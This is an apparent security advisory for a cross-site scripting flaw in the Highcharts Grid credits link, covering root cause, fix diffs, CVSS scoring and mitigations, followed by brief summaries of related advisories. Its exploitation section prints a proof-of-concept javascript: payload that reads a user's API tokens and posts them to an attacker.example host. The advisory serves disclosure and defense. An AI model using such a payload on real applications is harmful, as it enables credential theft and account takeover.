Oct 28, 2026·9 min read·3 visits
Highcharts Grid and Grid Pro fail to sanitize the credits.href configuration option before assigning it to a DOM anchor element. Supplying a javascript: pseudo-protocol URI enables Cross-Site Scripting (XSS) upon user interaction. Upgrade to @highcharts/grid-pro 3.2.0, @highcharts/dashboards 4.0.0, or highcharts 13.0.0-beta.2.
CVE-2026-118255 is a Cross-Site Scripting (XSS) vulnerability in Highcharts Grid and Highcharts Grid Pro. The flaw occurs because the credits component assigns the configuration-supplied credits.href property directly to an HTML anchor element without verifying the URI scheme against the internal Abstract Syntax Tree (AST) allowlist. An attacker who can influence the grid configuration can supply a javascript: URI, resulting in arbitrary JavaScript execution in the victim's browser session when the credits link is clicked.
Highcharts Grid and Highcharts Grid Pro are data table and grid visualization components distributed within the Highcharts ecosystem, including the @highcharts/grid-pro, @highcharts/dashboards, and highcharts packages. These components allow developers and end-users to render interactive data grids configured via structured JSON option objects. In many deployment architectures, such as multi-tenant analytics platforms, business intelligence dashboards, and collaborative reporting tools, these configuration objects are persisted in backend databases or populated dynamically from user-supplied input.
A Cross-Site Scripting (XSS) vulnerability, tracked as CVE-2026-118255 (GHSA-6hgp-fmhr-mrg4) and classified under CWE-79, exists in the credits rendering mechanism of Highcharts Grid and Grid Pro. The Credits and CreditsPro classes are responsible for generating an attribution hyperlink at the bottom of the grid component. This element is configured via the credits.text and credits.href properties within the grid configuration object.
While the Highcharts core library maintains an internal Abstract Syntax Tree (Highcharts.AST) sanitizer to restrict HTML elements and validate external reference attributes against an explicit protocol allowlist, the Grid credits implementation bypassed this mechanism. Specifically, the component assigned the raw credits.href string directly to the href attribute of the underlying HTMLAnchorElement via the native DOM setAttribute API.
Because no protocol validation occurred along this code path, an attacker with privileges to modify or supply grid configuration options can inject a javascript: pseudo-protocol URI into credits.href. When a user views the rendered grid and clicks the attribution link, the browser executes the attacker-supplied JavaScript payload within the security context and origin of the hosting application.
To mitigate DOM-based Cross-Site Scripting across its visualization engines, Highcharts implements a centralized sanitization utility within Highcharts.AST (ts/Core/Renderer/HTML/AST.ts). This class defines a static property, AST.allowedReferences, which acts as an explicit allowlist of safe URI prefixes for attributes that resolve external resources or navigation targets, such as href, src, and xlink:href.
public static allowedReferences = [
'https://',
'http://',
'mailto:',
'/',
'../',
'./',
'#'
];When attributes are processed through AST.filterUserAttributes(attributes: SVGAttributes), the sanitizer iterates over all keys and verifies whether any reference attribute begins with one of the prefixes in AST.allowedReferences. If an attribute contains a disallowed scheme—such as javascript:, vbscript:, or data:—the sanitizer logs Highcharts error code 33 ("Invalid attribute in config") and deletes the property from the returned attribute dictionary.
The root cause of CVE-2026-118255 is an inconsistent application of this sanitization boundary within the Grid module. In ts/Grid/Core/Credits.ts and ts/Grid/Pro/Credits/CreditsPro.ts, the component constructs an <a> element using makeHTMLElement<HTMLAnchorElement>('a', ...) and stores a reference to it in this.textElement. When applying the configuration options, the code sanitized credits.text using setHTMLContent(this.textElement, text), which routes markup through the AST parser, but handled credits.href via a direct DOM manipulation call: this.textElement.setAttribute('href', href || '').
By invoking Element.prototype.setAttribute directly on the anchor node without prior inspection by AST.filterUserAttributes, the component created a sink where arbitrary URI schemes were written straight into the DOM. The vulnerability requires no parser evasion or encoding bypasses; any string passed into credits.href is preserved verbatim in the rendered HTML anchor.
The vulnerability resided in two source files within the Highcharts repository: ts/Grid/Core/Credits.ts (handling standard Grid instances) and ts/Grid/Pro/Credits/CreditsPro.ts (handling Grid Pro instances). In both files, the href property extracted from the user configuration was applied directly to this.textElement.
In commit 45b74403acafbe9f621c4a343506721d9129e991 (Pull Request #25351), the maintainers remediated the flaw by importing the AST module into ts/Grid/Core/Credits.ts and replacing the direct setAttribute calls with a dedicated helper method, setHref().
diff --git a/ts/Grid/Core/Credits.ts b/ts/Grid/Core/Credits.ts
index 6bbe431cd00..07971c71625 100644
--- a/ts/Grid/Core/Credits.ts
+++ b/ts/Grid/Core/Credits.ts
@@ -26,6 +26,7 @@
import type { CreditsOptions } from './Options';
import type Grid from './Grid';
+import AST from '../../Core/Renderer/HTML/AST.js'; // Import the AST sanitizer
import Globals from './Globals.js';
import GridUtils from './GridUtils.js';
@@ -142,7 +143,7 @@ class Credits {
setHTMLContent(this.textElement, text);
}
if (href) {
- this.textElement.setAttribute('href', href || '');
+ this.setHref(href); // Route href assignment through the sanitizing helper
}
if (grid.descriptionElement) {
@@ -155,6 +156,23 @@ class Credits {
}
}
+ /**
+ * Set the anchor's href, dropping URLs that are not allowed references.
+ *
+ * @param href
+ * The href to set on the anchor element. If undefined or unsafe, the href
+ * attribute will be removed.
+ */
+ protected setHref(href?: string): void {
+ // Validate the href attribute against AST.allowedReferences
+ const filtered = href && AST.filterUserAttributes({ href }).href;
+
+ if (filtered) {
+ this.textElement.setAttribute('href', filtered);
+ } else {
+ // Strip existing href attribute if the new value is invalid or undefined
+ this.textElement.removeAttribute('href');
+ }
+ }
+
private renderAnchor(): HTMLElement {
const anchorElement = makeHTMLElement<HTMLAnchorElement>('a', {
className: Globals.getClassName('creditsText')The CreditsPro class in ts/Grid/Pro/Credits/CreditsPro.ts inherits from Credits. Prior to the patch, CreditsPro overrode the update logic and performed its own direct setAttribute('href', href || '') call. The patch updated CreditsPro to invoke the inherited this.setHref(href) method:
diff --git a/ts/Grid/Pro/Credits/CreditsPro.ts b/ts/Grid/Pro/Credits/CreditsPro.ts
index e703bbb4959..a0e821f7ec0 100644
--- a/ts/Grid/Pro/Credits/CreditsPro.ts
+++ b/ts/Grid/Pro/Credits/CreditsPro.ts
@@ -54,7 +54,7 @@ class CreditsPro extends Credits {
const { text, href } = this.options;
setHTMLContent(this.textElement, text || '');
- this.textElement.setAttribute('href', href || '');
+ this.setHref(href);
}The fix is complete for the Credits and CreditsPro lifecycle. Notably, the else branch in setHref() explicitly calls this.textElement.removeAttribute('href'). This ensures that if a grid instance is initialized with a valid URL and later updated dynamically via .update() with a disallowed URL (or undefined), the previously set valid href attribute is cleanly removed from the DOM element rather than persisting.
Exploiting CVE-2026-118255 requires two primary conditions: the target application must populate Highcharts Grid or Dashboard options from an untrusted or semi-trusted source, and a victim user must actively click the rendered credits link. Common scenarios where attackers can control grid options include collaborative dashboard builders, shared analytics workspaces, or applications that deserialize grid state from URL query parameters or postMessage events.
To stage the attack, the adversary supplies a grid configuration object with credits.enabled set to true (which is enabled by default in many configurations) and a credits.href value starting with the javascript: scheme. The attacker can also modify credits.text to display enticing call-to-action phrasing, such as "Export Full Dataset" or "View Data Source", to increase the likelihood of user interaction.
{
"credits": {
"enabled": true,
"text": "Download Compliance Report (PDF)",
"href": "javascript:fetch('/api/v1/user/tokens',{credentials:'include'}).then(r=>r.text()).then(t=>fetch('https://attacker.example/collect',{method:'POST',body:t}))"
},
"dataTable": {
"columns": {
"product": ["Server A", "Server B"]
}
}
}When the application passes this configuration object to Grid.grid('container', config) or renders it within a Highcharts Dashboard component, the library mounts the following DOM structure inside the grid container:
<a class="highcharts-credits-text" href="javascript:fetch('/api/v1/user/tokens',{credentials:'include'}).then(r=>r.text()).then(t=>fetch('https://attacker.example/collect',{method:'POST',body:t}))">
Download Compliance Report (PDF)
</a>Unlike reflected XSS vectors that execute immediately upon page load (such as an onerror handler on an <img> tag), an href="javascript:..." vector remains dormant in the DOM until activated. Once the victim clicks the anchor element, the browser evaluates the JavaScript code inline within the current document context.
CVE-2026-118255 carries a CVSS v4.0 base score of 8.4 (High), designated by the vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N. The Attack Vector is Network (AV:N) with Low Attack Complexity (AC:L) and No Attack Requirements (AT:N), reflecting that no special runtime conditions or race conditions are required. Privileges Required is rated Low (PR:L), representing the typical requirement that an attacker has an authenticated account capable of creating or editing shared grids or dashboards, while User Interaction is Active (UI:A) because the victim must click the link.
When triggered, the Confidentiality and Integrity impacts to the vulnerable system (the client browser session within the application origin) are both High (VC:H/VI:H). Because the script executes directly within the hosting web application's origin, it bypasses Same-Origin Policy (SOP) restrictions for that domain.
An attacker achieving code execution in this context can read all data accessible to JavaScript, including sensitive analytical data rendered in the DOM, JWTs or API keys stored in localStorage or sessionStorage, and non-HttpOnly cookies. Furthermore, the payload can issue authenticated asynchronous HTTP requests (fetch or XMLHttpRequest) to backend APIs using the victim's ambient session credentials (credentials: 'include'), enabling privilege escalation, account takeover, or unauthorized state modification.
> [!NOTE] > As of October 2026, CVE-2026-118255 is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no public exploitation in the wild has been reported.
The primary remediation for CVE-2026-118255 is to upgrade affected Highcharts packages to the versions containing commit 45b74403acafbe9f621c4a343506721d9129e991. Specifically, engineering teams should update @highcharts/grid-pro to version 3.2.0 or later, @highcharts/dashboards to version 4.0.0 or later, and highcharts to version 13.0.0-beta.2 or later. In these versions, AST.filterUserAttributes automatically strips any credits.href value that does not start with an approved protocol prefix.
For environments where an immediate dependency upgrade is not feasible, developers can implement application-layer input validation before passing configuration objects to the Grid constructor. If custom attribution links are not required by the application, the credits link can be neutralized by forcing credits.enabled = false or deleting credits.href. If custom URLs are required, validate the scheme using the standard URL parser API:
function sanitizeGridConfig(config) {
if (config && config.credits && typeof config.credits.href === 'string') {
try {
const parsed = new URL(config.credits.href, window.location.origin);
if (parsed.protocol !== 'https:' && parsed.protocol !== 'http:' && parsed.protocol !== 'mailto:') {
delete config.credits.href;
}
} catch (e) {
// Delete malformed URLs
delete config.credits.href;
}
}
return config;
}In addition to code-level fixes, deploying a strict Content Security Policy (CSP) provides effective defense-in-depth against javascript: URI execution. Under the W3C CSP specification, navigation to a javascript: URI is treated as an inline script execution. If the application serves a Content-Security-Policy header that defines a script-src directive without the 'unsafe-inline' keyword (for example, using cryptographic nonces or strict hashes), modern browsers will block the execution of the javascript: link even if the vulnerable DOM attribute is clicked.
Finally, security teams can augment their existing allowlists in Highcharts if custom protocols are strictly required, or further lock down Highcharts.AST.allowedReferences at runtime if relative paths or mailto: links are unnecessary for their deployment.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
@highcharts/grid-pro Highcharts | >= 2.0.0, < 3.2.0 | 3.2.0 |
@highcharts/dashboards Highcharts | >= 3.2.0, < 4.0.0 | 4.0.0 |
highcharts Highcharts | < 13.0.0-beta.2 | 13.0.0-beta.2 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | Cross-Site Scripting (CWE-79) |
| CVSS v4.0 Score | 8.4 (High) |
| Attack Vector | Network (Malicious Grid Configuration + User Click) |
| Affected Component | Highcharts Grid & Grid Pro Credits (Credits.ts / CreditsPro.ts) |
| Root Cause | Direct DOM setAttribute('href', ...) bypassing AST.filterUserAttributes() |
| Impact | Arbitrary JavaScript execution in application origin |
| Exploit Status | No known public exploitation |
| CISA KEV Status | Not Listed |
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
CVE-2026-118254 (GHSA-r5wg-q8fc-p6w2) is a high-severity DOM-based Cross-Site Scripting (DOM XSS) vulnerability in the pagination module of Highcharts Grid (@highcharts/grid-lite and @highcharts/grid-pro). The flaw stems from the direct assignment of localization configuration strings (lang.pageInfo and lang.pageSizeLabel) and pagination UI labels to DOM elements via the innerHTML property instead of text-safe DOM APIs such as textContent or innerText. When an application passes attacker-controlled data into the Grid localization options with pagination enabled, arbitrary HTML and JavaScript execute automatically within the hosting document's origin context upon component rendering.
The Model Context Protocol (MCP) TypeScript SDK contains an uncontrolled resource consumption vulnerability in its HTTP server transport implementations and middleware adapters. Affected versions fail to enforce upper bounds on incoming HTTP POST request body sizes and JSON-RPC 2.0 batch array lengths. In addition, middleware wrappers for Express and Hono parse request bodies into memory prior to validating Host and Origin headers. Unauthenticated remote attackers can exploit these flaws to trigger Out-Of-Memory (OOM) process crashes or monopolize the single-threaded Node.js event loop.
An uncaught exception vulnerability (CWE-248) exists in the Node.js HTTP/1.1 client library undici, affecting versions 7.15.0 through 7.30.0 and 8.0.0 through 8.12.1. The flaw resides in the DecompressHandler interceptor (lib/interceptor/decompress.js), which processes compressed HTTP response streams using asynchronous Node.js zlib callbacks. When forwarding decompressed data chunks or stream completion events to downstream handlers, the interceptor fails to wrap the invocations of super.onResponseData() and super.onResponseEnd() in try...catch blocks. If a downstream interceptor or handler throws an exception during response processing—such as the built-in dump interceptor enforcing a maximum response size—the exception escapes the asynchronous zlib callback stack onto the top-level Node.js event loop, terminating the entire client process.
An uncontrolled resource consumption vulnerability in the WebSocket client implementation of Node.js undici allows a remote WebSocket server to trigger an out-of-memory (OOM) crash in the client process. The vulnerability stems from the failure of the incoming frame parser (ByteParser) to respect socket write backpressure when automatically emitting PONG responses to incoming PING control frames. By continuously streaming small 2-byte PING frames while refusing to read from the TCP connection, a malicious server forces the client to queue outbound PONG frames in the V8 heap without bound.
CVE-2026-87018 (GHSA-qrxm-fqhp-jwvm) is a high-severity Denial of Service (DoS) vulnerability in undici, the default HTTP/1.1 and HTTP/2 client for Node.js that backs the global fetch() implementation. The flaw stems from reachable assertions in undici's socket and session error handlers, which assume that TLS hostname verification errors (ERR_TLS_CERT_ALTNAME_INVALID) cannot occur after the initial connection establishment. By initiating a post-handshake TLS 1.2 renegotiation and presenting a certificate with a mismatched Subject Alternative Name (SAN), a remote HTTPS server can trigger this assertion and terminate the entire Node.js runtime process via an uncaught AssertionError.
FileBrowser Quantum prior to versions 1.5.2-stable and 2.0.1-beta contains an improper link resolution vulnerability (CWE-59) in its file indexing and retrieval subsystems. When processing file read, download, preview, media streaming, OnlyOffice integration, or public share requests, the application resolves symbolic links via Go's filepath.EvalSymlinks without verifying that the canonical target path remains within the configured source root and the user's assigned access scope. Consequently, authenticated users with read access or unauthenticated holders of public share links can read arbitrary server-accessible files outside their designated directory boundaries.